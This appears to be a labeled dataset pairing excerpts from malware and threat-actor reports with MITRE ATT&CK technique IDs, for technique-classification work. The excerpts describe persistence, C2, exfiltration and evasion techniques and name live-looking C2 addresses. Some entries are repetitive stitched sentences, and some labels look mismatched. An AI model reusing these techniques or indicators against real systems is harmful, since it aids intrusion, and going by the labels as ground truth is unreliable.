+1) Text file Drive.txt (SHA-256: 4f75622c2dd839fb5db7e37fb0528e38c4eb107690f51f00b5331e863dc645d1) is created and contains the decimal-decoded VBS content. The content of both files is shown in the appendix section of this report. Audio.bat continues by creating two scheduled tasks referencing two files that are yet to exist: dphc.exe will run every 10 minutes and Drive.vbs at 20 minute intervals. When Drive.vbs is eventually executed by the task scheduler, it will download the BackConfig executable payload. and only continues if the file exists. 3) Similarly, the VBA code then writes batch code to another text file - Audio.txt. The content of both files is shown in the appendix section of this report. 6) Audio.bat continues by creating two scheduled tasks referencing two files that are yet to exist: dphc.exe will run every 10 minutes and Drive.vbs at 20 minute intervals. When Drive.vbs is eventually executed by the task scheduler, it will download the BackConfig executable payload. and only continues if the file exists	['T1083']
+1) Text file Drive.txt (SHA-256: 4f75622c2dd839fb5db7e37fb0528e38c4eb107690f51f00b5331e863dc645d1) is created and contains the decimal-decoded VBS content. Similarly, the VBA code then writes batch code to another text file - Audio.txt. The content of both files is shown in the appendix section of this report. Audio.bat continues by creating two scheduled tasks referencing two files that are yet to exist: dphc.exe will run every 10 minutes and Drive.vbs at 20 minute intervals. In the case of file 8892279f3. the remote location is http://185.203.119[.]184/Dropbox/request. and only continues if the file exists. 2) Text file Drive.txt (SHA-256: 4f75622c2dd839fb5db7e37fb0528e38c4eb107690f51f00b5331e863dc645d1) is created and contains the decimal-decoded VBS content. 3) Similarly, the VBA code then writes batch code to another text file - Audio.txt. 6) Audio.bat continues by creating two scheduled tasks referencing two files that are yet to exist: dphc.exe will run every 10 minutes and Drive.vbs at 20 minute intervals. In the case of file 8892279f3. the remote location is http://185.203.119[.]184/Dropbox/request	['T1070.004']
+The dropped file is executed after terminating any process with the same name. For persistence, it adds a shortcut for the file at the %STARTUP% directory	['T1547.001']
+The data exfiltration process runs in the following sequence: The temp.ini files are copied into a text file that matches the pattern	['T1020']
+Recursively generate a list of files in a directory and send to the control server - Terminate a specific process. The process is identified by the control server sending the PID to the malware	['T1057', 'T1543.003', 'T1119']
+Upon opening the attachment, a typical luring mechanism is employed instructing the victim to enable macros, as seen in Figure 2. FireEye has observed the attackers behind this campaign using three different approaches	['T1204.002']
+After the files are encrypted the program will write a ransom note to each folder and directory on the system called read_me_unlock.txt	['T1047']
+In october 2016 Group-IB published the report about the Cobalt group. Network penetration In all cases investigated by Group-IB, the Cobalt group used a set of spear phishing emails to gain initial access to the corporate infrastructure. However, some of the email addresses belong to employees that no longer work at the organization, which means that the Cobalt group likely uses out-of-date mailing lists. Therefore, the Cobalt group registered domains are similar to real ones (for example, diebold.pw), and configured their email server to distribute acting as these legitimate domains (fig. Provision of the malware survivability The Cobalt group uses different methods to ensure malware survivability on corporate networks. The goal is to set the startup path to the executable file or program code, launching it with the powershell.exe shell command to access the Internet resource specified in the code in order to download and install Cobalt Strike module. From our experience, the Cobalt group uses a new method to provide its survivability in every attack. Cobalt Strike provides the ability to use the Artifact Kit framework for these purposes and even modify it, as it is distributed in the source code. Use of standard tools Cobalt Strike is publicly accessible, and can be downloaded in order to learn and create detection rules on the network. Conclusion After infecting one computer on an organization's network, the Cobalt group analyzes the programs used on it and search for critical servers and the computers from which they are accessed	['T1059.001']
+The exploit used, named EternalBlue, exploits a vulnerability in the Server Message Block (SMB) protocol which allows the malware to spread to all unpatched Windows systems from XP to 2016 on a network that have this protocol enabled. This vulnerability allows remote code execution over SMB v1. WannaCry utilizes this exploit by crafting a custom SMB session request with hard-coded values based on the target system. Notably, after the first SMB packet sent to the victim’s IP address, the malware sends two additional packets to the victim containing the hard-coded IP addresses 192.168.56.20 and 172.16.99.5	['T1563.002']
+The file /tmp/.rOuYXzdOF was most likely used as a mutex, ensuring only one copy of Netwire could run at a time. Next, .default.conf was a configuration file storing data required for Netwire to communicate with command and control. On the Windows side, this is usually stored in the Registry	['T1112']
+"This time, the text is from the novel ""The Brothers Karamazov"" by Fyodor Dostoevsky (a Russian writer). The malicious document drops a Python interpreter and PoetRAT. The author made a few changes to the PoetRAT malware, though. First, the malware uses pyminifier to obfuscate the Python script and avoid detection based on string or YARA rules: The obfuscation is a base64 and an LZMA compression algorithm. For example, the variables are stored in a ""Constant.py"" file containing the C2 server and the configuration. The most notable change is the protocol used to download and upload files"	['T1071.001']
+The backdoor determines its C2 server using a Domain Generation Algorithm (DGA) to construct and resolve a subdomain of avsvmcloud[.]com. The Update method is responsible for initializing cryptographic helpers for the generation of these random C2 subdomains. Subdomains are generated by concatenating a victim userId with a reversible encoding of the victims local machine domain name	['T1132.001']
+The attack starts with a phishing email that contains a malicious link to a file hosted on Google Docs named “Annual Bonus Report.doc”. When the user clicks on the link, the TrickBot dropper downloads onto the target machine. This differs from previous TrickBot attacks we have seen, where TrickBot is usually dropped through a Microsoft Office document or by another malware like Emotet	['T1204.002', 'T1566.002']
+"Ahnlab, a South Korean software company, simultaneously published a paper regarding Bisonal's activity in South Korea. In this case, the infection vector has changed from previous samples. The initial stage is a binary that drops a decoy document (Powerpoint or Excel document), a VisualBasic script and the packed Bisonal payload. The payload is dropped with a .jpg extension that's been renamed to "".exe. The payload has been packed with a new packer. The code of Bisonal is similar to the version of 2019"	['T1137.006']
+One of the discovered MarkiRAT variants was used to intercept the execution of Telegram and launch the malware along with it. The core of the malware is the same as described previously for MarkiRAT, with the exception of functions in charge of the malware’s deployment on the victim machine	['T1518.001']
+"This behavior is detailed later in the blog under ""Malware Functionality"". Unlike WannaCry, Nyetya does not appear to contain an external scanning component. Two of the executables are used to recover user credentials (32 and 64 bits) while the third one is the PsExec binary. For example: The dropped .tmp executable seems to be based on Mimikatz, a popular open source tool used for recovery of user credentials from computer memory using several different techniques. The recovered credentials are then used for launching malware on the remote system using WMIC and PsExec. These mechanisms are used to attempt installation and execution of perfc.dat on other devices to spread laterally. The two exploits drop a modified version of DoublePulsar which is a persistent backdoor running in kernel space of the compromised system. The developer modified only few bytes from the original version but this modification allowed it to evade network detection and the open source DoublePulsar scanning tools available on the Internet. The modification can be divided in 3 parts: - The attacker modified the command codes: - The attacker modified the response codes: - The attacker modified where the response code is stored in the SMB response packet. PsExec is used to execute the following instruction (where w.x.y.z is an IP address) using the current user's windows token (from the ""Recovery of User Credentials"" section above) to install the malware on the networked device. WMI is used to execute the following command which performs the same function as above, but using the current user's username and password (as username and password), retrieved from the ""Recovery of User Credentials"" section above"	['T1003.001']
+For persistence and remote control, the script downloads another base64-encoded Python script from hxxps://ptpb[.]pw/OAZG. After several steps of de-obfuscation, we found the attackers using EmPyre for post-exploitation control. EmPyre is a Python post-exploitation agent built on cryptologically-secure communications and a flexible architecture	['T1059.006']
+When required by the attacker, it is capable of remotely activating the microphone on the compromised computer and capturing sounds. The audio recordings are encoded to MP3 format using a legitimate lame.dll library, which is downloaded and misused by the malware	['T1123']
+2022–01–15, MSTIC (Microsoft Threat Intelligence Center) identified and unveiled a cyberattack targeting Ukrainian organizations with “WhisperGate” overwrites Master Boot Record(MBR) and files	['T1561.002']
+The AppleSeed payload has an export function named “DllRegisterServer” which will be called when the DLL is executed using RegSvr32.exe. DllRegisterServer has a function that is responsible for performing the DLL initialization and setup that includes the following steps	['T1059.007', 'T1059.001']
+Yet, both in August 2018 and 2019 Silent Librarian was lining up for the new academic years, once again targeting the same kind of victims in over a dozen countries	['T1598.003']
+Manage the use of privileged accounts. Configure access controls, including file, directory, and network share permissions with the principle of least privilege in mind. If a user only needs to read specific files, they should not have write access to those files, directories, or shares. Secure use of WMI by authorizing WMI users and setting permissions. Disable or limit remote WMI and file sharing. Block remote execution through PSEXEC. Segregate networks and functions. Harden network devices and secure access to infrastructure devices. Perform out-of-band network management. Disable SMBv1 and block all versions of SMB at the network boundary by blocking TCP port 445 with related protocols on UDP ports 137-138 and TCP port 139; this applies to all boundary devices	['T1021.002']
+The original malware scans the list of running process looking for outlook, iexplore or firefox. If found it injects the DLL into the process	['T1055.001', 'T1057']
+Download a file from a remote server - Create a text file on the local machine - Execute a file - Execute a shell (cmd.exe) command and save the results to disk - Upload the results of a previously executed shell command to a remote server	['T1105']
+The main purpose of P8RAT is downloading and executing payloads (consisting of PE and shellcode) from its C2 server. However, we were unable to obtain any sample of the subsequent payloads for this malware	['T1105']
+Unlike previous RDAT samples, this particular sample only uses DNS tunneling for its C2 communications with no HTTP fallback channel. This RDAT sample can only use TXT queries in its DNS tunnel and will issue queries structured like the following	['T1071.004', 'T1008']
+"Other researchers have attributed these attacks to a group known as the Cobalt Gang, which has continued its activities even after the arrest of its alleged leader in Spain this year. AppLocker works well for executables and over time it has also been improved to control various script types, including JScript, PowerShell and VBScript. This has significantly reduced the attack surface and forced attackers, including more sophisticated groups, to find new methods of launching executable code. Payload dropper in an XSL file Another executable used to attempt bypass of the AppLocker feature is msxsl.exe, a Windows utility used to run XSL (eXtensible Stylesheet Language) transformations. Stage 4 — Downloaders . PowerShell leading to shellcode . The PowerShell chain is launched from an obfuscated JScript scriptlet previously downloaded from the command and control (C2) server and launched using cmstp.exe. JScript downloader . As opposed to PowerShell loading a Cobalt Strike beacon, the other observed infection chain continues using JScript to deliver the final payload, which is a JScript backdoor. The commands are relatively limited, but are sufficient enough to instruct the backdoor to download and execute a new payload, remove itself from the system or download and launch additional scriptlets. Interestingly, if an attack used version 4.4, the attackers decided to add a variable ""researchers"" initialized to the string ""We are not cobalt gang, stop associating us with such skids. Cobalt Strike beacon . On the PowerShell side of the infection chain, the downloaded final payload is a Cobalt Strike beacon, which provides the attacker with rich backdoor functionality. Cobalt Strike is used by penetration testers and offensive security researchers when delivering their services, but it is generally, just as Meterpreter, detected by anti-malware software as it can be easily used by malicious actors"	['T1059.001']
+DUBNIUM (which shares indicators with what Kaspersky researchers have called DarkHotel) is one of the activity groups that has been very active in recent years, and has many distinctive features	['T1518.001']
+The malware initializes by gathering system and malware filename information and creates a mutex to make sure only one instance of the Trojan executes on the system at a time. Kazuar generates its mutex by using a process that begins with obtaining the MD5 hash of a string “[username]=>singleton-instance-mutex”. The Trojan then encrypts this MD5 hash using an XOR algorithm and the serial number of the storage volume. Kazuar uses the resulting ciphertext to generate a GUID that it appends to the string “Global\\” to create the mutex	['T1087.001', 'T1082']
+Key takeaways: - TeamTNT is using new, open source tools to steal usernames and passwords from infected machines. The campaign has been active for approximately one month and is responsible for thousands of infections globally. Background . TeamTNT has been one of the most active threat groups since mid 2020. One of the most recent findings (June 4, 2021) came from Palo Alto researchers who discovered the TeamTNT Chimaera repository. TeamTNT C&C website showing infection statistics . Figure 2. The full list of supported programs can be found on the Lazagne page on Github. Windows module - persistence . Kubernetes root payload component . This component is mainly responsible for installing a cryptocurrency miner on infected devices, allowing the attacker to connect remotely to the system using SSH. Decoded shell script . TeamTNT IRC bot . As described previously this year by Lacework, TeamTNT includes ZiggyStartux in their IRC bot. IRC Bot available commands . TeamTNT AWS stealer . Similar to the other TeamTNT components, the AWS stealer (see figure 11) first installs missing dependencies. Conclusion . AT&T Alien Labs has discovered new malicious files distributed by the threat actor TeamTNT	['T1518.001']
+As mentioned by the Cisco Talos Intelligence Group, after executing the Micropsia registers itself against the C2 server	['T1082']
+"The binary uses a file system watcher in order to generate an event each time a file is modified in one of the directories in the ""Paths"" variable of the configuration file. Filesystem monitoring routine Once a file is available, the Dog.exe binary exfiltrates it, using email or FTP depending on the configuration"	['T1119']
+At line 40, that data is piped through the base64 utility for decoding, dropped in a subfolder in the /tmp directory, given executable permissions via chmod, and then launched as the 2nd stage payload	['T1222.002']
+Sodinokibi ransomware, also known as REvil or Sodin, has been responsible for a series of high-profile attacks since April 2019	['T1204.002']
+PowerShell scripts that perform system reconnaissance and credential theft from Windows Credential Manager and then send this information back to Waterbug C&Cs	['T1555.004']
+After successfully executing the command, POWRUNER sends the results back to the C2 server and stops execution	['T1059.003']
+Retrieves the following data from the system by leveraging Windows Management Instrumentation (WMI) queries and environment variables: IP Address from Network Adapter Configuration OS Name OS Architecture Computer Name Computer Domain Name Username - IP Address from Network Adapter Configuration - OS Name - OS Architecture - Computer Name - Computer Domain Name - Username	['T1047', 'T1082', 'T1016']
+Endpoint Protection . The Trojan.Hydraq Incident . It has been about a week since news of the mysterious Hydraq Trojan (also known as Aurora) attack broke with the unveiling of a threat by Google to pull its operations out of China. Although concrete details of the attacks are not yet public, Google made reference to a number of Gmail accounts that were compromised during or after the attacks. In the more sophisticated attacks, the attacker will use a new zero day vulnerability, as obviously this will have a greater success rate. In this attack a PDF file was used to exploit the Adobe Acrobat, Reader, and Flash Player Remote Code Execution Vulnerability (CVE-2009-1862/BID35759). This PDF installed a Trojan horse which was an earlier version of the current Trojan.Hydraq. Considering the efforts that the attackers put into staging the attack as a whole, the end malware is not so sophisticated. This means the remote attacker has the ability to see in real time any user interface activity as if they were sitting right next to the user. The backchannel URL addresses have been changed by the Dynamic DNS sites to resolve to a loopback address (127.0.0.2). This in effect severs the connection to the control servers. As described in the previously posted blog (Hydraq - An Attack of Mythical Proportions), an unpatched Internet Explorer vulnerability (BID 37815) was used as one of the propagation vectors for this particular Trojan.Hydraq attack. This security hole allows remote exploitation, which means that attackers can run any malicious code of their liking on a victim’s machine by taking advantage of the vulnerability. The use of browsers other than Internet Explorer by an increasingly large number of people may have helped limit the “attack surface” by reducing the number of computers vulnerable to the Internet Explorer vulnerability used in this attack	['T1016']
+One of the most noticeable differences is the use of encryption over the entire TCP segment, as a way for it to evade detection. Additionally, this seems to be a lightweight version of Gh0stRAT, as it only has 12 commands, compared to the 73 for a full Gh0stRAT sample; 3 of those commands are undocumented. Also, unlike most samples that I receive on my honeypot, this sample did not start as a DLL that communicates to a distribution server in order to download the stage1	['T1573', 'T1095']
+The attackers gain an initial foothold on targeted machines via phishing emails containing malicious attachments. The emails are often industry-specific and crafted to entice a victim to open the message and execute the attached document	['T1566.001']
+The companies believe that the actors acquired legitimate credentials prior to the cyber-attack to facilitate remote access	['T1078', 'T1219']
+A loading script, written in Ruby, was saved to the following location and set to run as a Scheduled Task	['T1053.005']
+The name EvilBunny is derived from debug information embedded in the malware’s dropper. Furthermore, the specified piece incorporates a Lua 5.1 interpreter, which allows the malware to execute Lua scripts and change its behavior at runtime. The dropper will place the EvilBunny malware under %APPDATA%\Perf Manager\ or %WINDIR%\msapps\; depending whether the dropper is running with administrative privileges or not. Also, the malware will generate numerous files to help its execution and frequently reply back to the C&C with status messages. Similar to its dropper, the binary seeks to evade sandboxes. Next to that, the main thread also runs sub threads to maintain log files the malware creates during execution and to keep track of the overall system load the malware creates. The worker threads are internally dubbed ‘hearer’, which is believed to stand for ‘listener’. It can be concluded thereafter that the malware authors were no English native speakers. The main action of the malware is carried out in the main thread, which parses commands and executes Lua scripts, provided by the worker threads via command files. Each hearer has a dedicated method to receive instructions which is either separately via HTTP from the server, aggregated through a downloaded data file or as tasks to be configured as scheduled tasks. In general this is a rather uncommon technique, but it has been observed before, especially in connection with some adware variants	['T1497.001']
+"The malware continues by creating a service named mssecsvc2.0 with a binary path pointing to the running module with the arguments ""-m security"". Once created, the malware starts the service"	['T1543.003']
+Sends phishing mail to given recipients and receives user’s access token using device code authentication flow	['T1528']
+"First-stage analysis . When the user opens the phishing email, it presents a Spanish social engineering message (""Payment: Find scheduled payment dates attached""). The figure below shows a screenshot of one of the emails we looked at. It decrypts the URL for the second-stage from hardcoded bytes, saves it to the ""Templates"" folder, and executes it. Second-stage analysis . The second-stage executable is packed with a Delphi-based packer. The DLL sets a timer, as shown below, which will execute the downloader function periodically. The DLL decodes the hex string using the following steps: We have written a small Python script to decrypt the third stage. The same decryption method was also used to decrypt the hardcoded command and control (C2).The resulting file is also a DLL, which the second stage reflectively loads. Injected DLL analysis (UAC bypass using two techniques) . It checks if `C:\Windows\Finex` exists. Decrypting and executing Lokibot . After attempting to bypass the UAC, the third-stage DLL will check if `AutoRunKeyFlag` is set. For this DLL, it is not set. This dropper uses three stages and three layers of encryption to hide its final payload"	['T1053']
+Find out all system information, including hardware being used and the exact version of your operating system, including security patches. Steal from your clipboard (things you’ve copied) - Control your printer - Lock/Restart/Shutdown your computer - Update the implant with a new address to beacon to or new functionality	['T1082']
+This step establishes the persistence of the malware across reboots on the endpoint - Once the decrypted MZ marker is written to the Startup folder, the 2.hwp is deleted from the endpoint	['T1547.001']
+Interestingly as we continued to expand and pivot in our data set, one of the C2 IPs used by an IRC bot payload from Magic Hound was found to be the same IP used to deliver a different IRC bot called MPK	['T1071']
+They include registry, file system manipulations, and searching files with specific patterns, and retrieving and transferring them back to the server and gathering network status information	['T1083']
+OopsIE Trojan Analysis The OopsIE Trojan delivered in these attacks is packed with SmartAssembly and further obfuscated with ConfuserEx v1.0.0. The Trojan extracts and loads this embedded assembly by concatenating the contents of two resources named S1 and S2 and decompresses the resulting data using the GZipSteam class. The resulting Interop.SHDocVw .NET assembly is packed with SmartAssembly and further obfuscated using Confuser v1.9.0.0. By using the InternetExplorer application object, all C2 related requests will look as if they came from the legitimate browser and therefore will not contain any anomalous fields within the request, such as custom User-Agents. As seen in the above request, the Trojan will generate a URL for its beacon with the following structure: http://<c2 domain>/chk. hex(Environment.UserName/Environment.MachineName)> The Trojan will issue a request to this URL to check (hence the chk string in the URL) to see if the C2 server has a command for the Trojan to run. The C2 server will respond to the Trojan’s request by echoing the value <hex(Environment.UserName/Environment.MachineName)> if it wishes to provide additional commands. If the C2 server does not respond with the appropriate echoed data, the Trojan will create a file named srvCheckresponded.tmp in the SpecialFolder.CommonApplicationData folder and write nothing to it before exiting. If the C2 server provides the appropriate echoed data in the response, the Trojan attempts to determine what commands the C2 wishes to run by issuing a request to the following URL: http://<c2 domain>/what. hex(Environment.UserName/Environment.MachineName)> After issuing the what command, the Trojan will parse the C2's response for the string Oops, which the Trojan will treat as the C2 making a mistake and will exit	['T1071.001']
+The encrypted file names are appended with a string of random characters as the new extension. For example, it renames a file named “My_files.zip” to “My_files.zip.IAsnM”, “My_files2.zip” to “My_files2.zip.WZlF” and so on. Also, the threat actor creates the “RECOVER-FILES.txt” with ransom note in all folders that contain encrypted files, as shown in the figure below	['T1486']
+Task 0x1: react_exec The react_exec command appears to execute a payload received from the server. Interestingly it attempts to first execute the payload directly from memory. Specifically it invokes a function named ei_run_memory_hrd which invokes the Apple NSCreateObjectFileImageFromMemory, NSLinkModule, NSLookupSymbolInModule, and NSAddressOfSymbol APIs to load and link the in-memory payload. In some cases the file will be set to executable via a call to chmod. Specifically it instructs the malware to spawn a background thread to execute a function named eilf_rglk_watch_routine. This function creates an event tap (via the CGEventTapCreate API), add it to the current runloop, then invokes the CGEventTapEnable to activate the event tap	['T1106']
+Its functions include self-starting of the backdoor, collection of network configuration, keystroke records, and schedule other modules to execute by means of timers	['T1016']
+Talos has identified at least three different campaigns since July 2019. It is interesting to note that this threat actor uses HTTPS on the C2. They always use self-signed certificates	['T1587.003']
+The malware will then write a base64 encoded PowerShell script (which is contained in xmlparse.dll as a resource) to \%TEMP%\enu1.ps1 and execute it. The script, intended for reconnaissance purposes, checks if a machine is part of a domain and if the user has Admin privileges or is part of the Admin Group	['T1059.001']
+The malicious payload associated with the campaign appears to be a new version of Zeus Panda, a banking trojan designed to stealing banking and other sensitive credentials for exfiltration by attackers. The payload that Talos analyzed was a multi-stage payload, with the initial stage featuring several anti-analysis techniques designed to make analysis more difficult and prolonged execution to avoid detection. It also featured several evasion techniques designed to ensure that the malware would not execute properly in automated analysis environments, or sandboxes. The overall operation of the Zeus Panda banking trojan has been well documented, however Talos wanted to provide additional information about the first stage packer used by the malware. The malware will first query the system's keyboard mapping to determine the language used on the system. It will terminate execution if it detects the any of the following keyboard mappings	['T1059.001', 'T1614.001']
+Grandoreiro also employs a technique for privilege escalation described in more detail here. The method relies on registering a binary as the default handler for .MSC files and then running such a file	['T1548.002']
+For the purpose of social engineering, the threat actor chose file names related to legitimate online services, including Microsoft OneDrive. In a few instances, we observed the use of file names resembling McAfee’s endpoint security product. Even the file icons for these binaries are selected to masquerade as the corresponding legitimate applications	['T1036']
+Additionally, each beacon is accompanied with a screenshot that is initially saved as ‘scr.jpg’ in the public directory and subsequently issued to the C2 using the same HTTP POST request as in the ‘uploadsf’ command	['T1113']
+The TajMahal framework is an intriguing discovery that’s of great interest, not least for its high level of technical sophistication, which is beyond any doubt. For example, it has its own indexer, emergency C2s, is capable of stealing specific files from external drives when they become available again, etc	['T1083', 'T1119', 'T1041']
+Analysis of the “log.dat” payloads determined them to be variants of the publicly available POSHC2 proxy-aware stager written to download and execute PowerShell payloads from a hardcoded command and control (C2) address. These particular POSHC2 samples run on the .NET framework and dynamically load payloads from Base64 encoded strings	['T1132.001']
+This threat group has conducted broad targeting across a variety of industries, including financial, government, energy, chemical, and telecommunications. Join us in a live webinar as we discuss this threat group whom we assess to be working on behalf of the Iranian Government, with a mission that would benefit nation-state geopolitical and economic needs. APT34 uses a mix of public and non-public tools, often conducting spear phishing operations using compromised accounts from trusted third parties, sometimes coupled with social engineering tactics. Register today to gain deeper insights into this threat group	['T1555.003']
+The ‘tasklist’ command will use a WMI query or the “ps” command, which allows Kazuar to obtain running processes from both Windows and Unix systems. Also, Kazuar’s ‘cmd’ command will run commands using “cmd.exe” for Windows systems and “/bin/bash” for Unix systems. These two commands provide evidence that the authors of Kazuar intended to use this malware as a cross-platform tool to target both Windows and Unix systems	['T1047', 'T1057']
+Obviously, the request sent to the C&C is encoded with Base64. The bot subsequently receives its unique ID and uses it for identification at the start of the packet	['T1027']
+1) Writes itself to %AppData%\Microsoft\Word\log.ps1 2) Sets up persistence for this file, using a run key. 3) Adds a registry key so that future powershell.exe instances are spawned off-screen by default – this trick is explained here. 6) Removes all registry entries that are left behind during the dropper process	['T1547.001', 'T1564.003', 'T1112']
+After deobfuscation you can see “Imminent Monitor” string which may indicate it is related to Imminent Monitor RAT	['T1070.004', 'T1123', 'T1125']
+In February 2013, AlienVault performed analysis on the CallMe Trojan and found that it is based on a tool called Tiny SHell, an OSX shell tool whose source code is available on the Internet. The Trojan uses AES to encrypt the communication channel its C2 server, which will provide one of three commands to carry out activities on the compromised system, as seen in Table 4	['T1059.004', 'T1573.001']
+Aside from the aforementioned executables, the droppers also contained a remote access Trojan (RAT). The RAT executable allows criminals to perform various operations on a host, such as uploading/downloading, executing files, etc	['T1105', 'T1547']
+CTU analysis indicates that BRONZE BUTLER primarily targets organizations located in Japan. The threat group has sought unauthorized access to networks of organizations associated with critical infrastructure, heavy industry, manufacturing, and international relations. Secureworks analysts have observed BRONZE BUTLER exfiltrating the following categories of data	['T1039', 'T1005']
+The Trojan will attempt to inject code into these browsers to carry out its C2 communications. To carry out C2 communications via injected code in a remote process, the injected code reaches out to the C2 server and saves the response to a memory mapped file named SNFIRNW. Command and Control Communications In addition to being able to communicate with its C2 server from code injected into a web browser, the Trojan can also carry out the same communication process within its own process	['T1071.001', 'T1055']
+All the scripts are deleted immediately after being executed. TeamTNT also uses the “history -c” command to clear the shell log in every script	['T1070.004', 'T1070.003']
+McAfee Advanced Threat Research (ATR) analysts have discovered an aggressive Bitcoin-stealing phishing campaign by the international cybercrime group Lazarus that uses sophisticated malware with long-term impact	['T1560', 'T1059.003', 'T1573.001']
+Transparent Tribe has historically used military and defense-themes in their phishing emails and maldocs to target Indian military and government personnel. Figure 6: Transparent Tribe's spear-phishing email targeting defense personnel. This is in line with previous reporting on Transparent Tribe's use of official COVID-19 applications and content to serve Android malware. Figure 7: Attached malicious XLS macro. Another lure targeted Indian Defense Advisors attached to various Indian embassies in Southeast Asia, as seen in Figure 8	['T1566.001']
+Execute a remote shell; - Silently start a program on a victim host; - Retrieve a list of processes from the victim host; - Terminate any process; - Upload/Download/Delete files to/from victim host; - Retrieve a list of available drives from the victim host; - Retrieve a filelist of a specified folder from the victim host	['T1105', 'T1083']
+While the ports associated with this sample’s configuration pertain normally to HTTP, HTTPS, or DNS, network communication takes place via raw sockets	['T1095', 'T1571']
+If the victim appears valuable to the attackers, a GRIFFON implant installer is pushed to the victim’s workstation. This module stores another instance of the GRIFFON implant inside the registry to achieve persistence. Here is a PowerLinks-style method used by the attackers to achieve persistence and execute the GRIFFON implant at each user logon. The new GRIFFON implant is written to the hard drive before each execution, limiting the “file-less” aspect of this method	['T1059.007']
+"This folder is used as a temporary location to copy all files from a newly connected logical drive to and upload them to the C2 server. The files are transferred to the hardcoded C2 server ""195.62.52.93"" one by one via HTTP POST method. The following request is used which also includes information about the victim, the file to be transferred as well as the source drive"	['T1083', 'T1041', 'T1071.001']
+"It then modifies several registry key values to disable the IE browser’s functions such as auto-complete, auto-suggest, etc. The disabled keys are: ""Use FormSuggest"", ""FormSuggest Passwords"", ""FormSuggest PW Ask"" under the sub-key “HKCU\Software\Microsoft\Internet Explorer\Main”, and ""AutoSuggest"" under the sub-key ""HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\AutoComplete"	['T1112']
+Indeed, any decent firewall would block incoming packets to any ports that have not explicitly been opened for operational purposes. However, with Chaos using a raw socket, the backdoor can be triggered on ports running an existing legitimate service. As an example, a Webserver that would only expose SSH (22), HTTP (80) and HTTPS (443) would not be reachable via a traditional backdoor due to the fact that those services are in use, but with Chaos it becomes possible	['T1205']
+The malicious script executed by the Microsoft Publisher file downloads and runs yet another JavaScript file, 0.js, hosted on the attacker-controlled server	['T1105']
+The Netsh commands for Windows Firewall provide a command-line alternative to the capabilities of the Windows Firewall Control Panel utility. By using the Netsh firewall commands, you can configure and view Windows Firewall exceptions and configuration settings	['T1518.001', 'T1562.004']
+Strings in the malware are obfuscated using the RC4 algorithm and the decryption key stored inside the sample	['T1027']
+This specific key is set to point towards the path of the previously copied Cardinal RAT executable path. The executable will periodically query this registry key to ensure it is set appropriately. If the executable finds the registry key has been deleted, it will re-set it. The Load registry key acts as a persistence mechanism, ensuring that this Cardinal RAT executes every time a user logs on	['T1112']
+Additional tools were recovered during the incident, including a network scanning/enumeration tool, the archiving tool WinRAR and a bespoke Microsoft SharePoint enumeration and data dumping tool, known as ‘spwebmember	['T1213.002', 'T1018', 'T1213.002']
+Overall the code is very well written and designed to execute quickly to encrypt the defined files in the configuration of the ransomware. The embedded configuration file has some interesting options which we will highlight further in this article	['T1027']
+The group has the capability to set up phishing infrastructure to mimic well known websites and trick victims to enter their credentials. This is one of the main methods used by this actor to collect email addresses that later will be used to send spearphishing emails	['T1586.002']
+Use of custom routines to decrypt strings (Deobfuscate/Decode Files or Information [T1140]) - Ability to self-delete once installed (Indicator Removal on Host: File Deletion [T1070.004]) - Masquerade as GrowlHelper (Masquerading: Masquerade Task or Service [T1036.004]) - And as Software Update Check (Masquerading: Masquerade Task or Service [T1036.004]) - Decrypt strings in-memory, per CIA guidelines (Obfuscated Files or Information [T1027	['T1140']
+With the emergence of the Log4j security vulnerability, we’ve already seen multiple threat actors, mostly financially motivated, immediately add it to their exploitation arsenal. It comes as no surprise that some nation-sponsored actors also saw this new vulnerability as an opportunity to strike before potential targets have identified and patched the affected systems	['T1595.002']
+The attack group has made incremental changes to ZeroT since our last analysis. The encrypted ZeroT payload, named Mctl.mui, is decoded in memory revealing a similarly tampered PE header and only slightly modified code when compared to ZeroT payloads we analyzed previously	['T1573.001']
+Depending on the Ramsay version, file collection won’t be restricted to the local system drive, but also will search additional drives such as network or removable drives	['T1039']
+We were able to expand on some of the findings about the group and provide insights into the additional variants that it uses. We were able to trace the implant back to at least 2015, where it also had variants intended to hijack the execution of the Telegram and Chrome applications as a persistence method	['T1036.005']
+During execution, the code employs byte randomization to obscure its behavior. This is achieved by using the host’s current time as a seed for a pseudorandom number generator, and then performing additional operations against that output. The resulting values are used to overwrite blocks of previously executed code. This byte manipulation is the first anti-analysis technique observed in the code, as any attempt to dump the memory segment would result in illegitimate or incorrect operations	['T1001.001']
+The worm deploys the XMRig mining tool to mine monero crypto-currency and generate cash for the attackers. One of the Mining pools they use provides detailed information about the systems the worm has compromised	['T1496']
+Avira’s Advanced Threat Research team, has been tracking Mustang Panda APT for a while. According to Avira’s telemetry data, Mustang Panda mostly targets Asia-Pacific (APAC) countries and uses Cobalt or PlugX as payload	['T1204.002', 'T1049', 'T1560.001', 'T1057', 'T1016', 'T1083']
+It also deletes Windows Event Logs : Application, Security, Setup, System. It is less focused on deleting documents	['T1070.001']
+We have been tracking RDAT since 2017, when we first saw this tool uploaded to a webshell related to the TwoFace webshell discussed in our Striking Oil blog published on September 26, 2017. RDAT has been under active development since 2017, resulting in multiple variations of the tool that rely on both HTTP and DNS tunneling for C2 communications. In June 2018, the developer of RDAT added the ability to use Exchange Web Services (EWS) to send and receive emails for C2 communications. This email-based C2 channel is novel in its design, as it relies on steganography to hide commands and exfiltrates data within BMP images attached to the emails. The combination of using emails with steganographic images to carry the data across the C2 can result in this activity being much more difficult to detect and allow for higher chances of defense evasion	['T1071.003', 'T1001.002']
+Comnie Malware Family Comnie uses the RC4 algorithm in multiple locations both to obfuscate strings used by the malware, as well as for network communication. More information about how Comnie handles identified security products may be found in the technical analysis in the Appendix. Comnie is able to achieve persistence via a .lnk file that is stored within the victim’s startup path. When originally run, Comnie will convert itself from an executable file to a DLL and will write this newly created DLL to the host machine’s %APPDATA% directory. Unit 42 has observed a total of two variants of Comnie. In older variants, Comnie was found to look for the ‘++a++’ markers. The example C2s used by older variants of Comnie demonstrates this	['T1547.001']
+DropBook’s capabilities include checking installed programs and file names for reconnaissance, executing shell commands received from Facebook or Simplenote, and fetching additional payloads from Dropbox and running them	['T1059.003', 'T1105', 'T1083']
+The malware uploads the stolen data to third-party cloud storage providers. The sample identified in the wild is configured to upload to pCloud, but functionality to upload to Dropbox, Box and Yandex Cloud is also included	['T1102.002']
+Valak C2 traffic returns data as encoded ASCII text that is decoded on the victim host and saved as malware items like script files, EXE used during the infection and data for registry updates for the Valak infection	['T1564.004', 'T1132.001', 'T1132.001']
